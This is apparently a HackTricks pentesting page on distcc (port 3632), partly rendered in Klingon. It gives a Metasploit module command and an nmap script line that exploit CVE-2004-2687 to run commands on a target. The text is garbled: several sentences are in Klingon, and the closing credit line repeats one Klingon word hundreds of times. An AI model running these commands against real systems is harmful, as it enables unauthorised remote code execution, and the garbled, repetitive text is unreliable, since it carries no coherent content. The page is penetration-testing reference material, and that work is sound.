8.6 KiB
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Distcc is a tool that enhances the compilation process by utilizing the idle processing power of other computers in the network. When distcc is set up on a machine, this machine is capable of distributing its compilation tasks to another system. This recipient system must be running the distccd daemon and must have a compatible compiler installed to process the sent code.
Default port: 3632
PORT STATE SERVICE
3632/tcp open distccd
Qapla'
QaD vulnerable CVE-2004-2687 'ej execute arbitrary code:
msf5 > use exploit/unix/misc/distcc_exec
nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'"
Shodan
jIyajbe'chugh Shodan vItlhutlh.
Resources
- https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec
- https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855
Álex B (@r1p) tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu' tlhInganpu'